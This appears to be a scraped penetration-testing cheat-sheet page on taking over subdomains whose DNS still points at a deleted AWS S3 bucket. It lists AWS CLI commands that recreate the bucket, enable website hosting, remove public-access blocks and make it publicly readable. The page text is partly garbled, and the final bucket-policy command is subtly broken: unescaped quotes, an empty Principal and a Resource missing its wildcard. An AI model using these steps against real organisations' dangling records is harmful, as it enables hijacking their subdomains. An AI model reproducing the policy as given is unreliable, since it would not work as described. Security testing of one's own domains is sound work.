Subdomain Takeovers
Compromise a subdomain by taking over resources no longer existing
What is a Subdomain Takeover?
S3 Bucket


Exploit
Last updated
Compromise a subdomain by taking over resources no longer existing


Last updated
# create an s3 bucket
aws s3api create-bucket --bucket <bucketName> --region <region>
# configures the bucket to host a website
aws s3 website s3://<bucketName> --index-document index.html --error-document error.html
# copy website files to s3
aws s3 cp index.html error.html s3://<bucketName>
# set the bucket to public
aws s3api put-public-access-block --bucket <bucketName> --public-access-block-configuration "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false"
# add a bucket policy enabling anyone to view the website
aws s3api put-bucket-policy --bucket <bucketName> --policy "{"Version":"2012-10-17","Statement":[{"Sid":"PublicReadGetObject","Effect":"Allow","Principal":"","Action":"s3:GetObject","Resource":"arn:aws:s3:::<bucketName>/"}]}"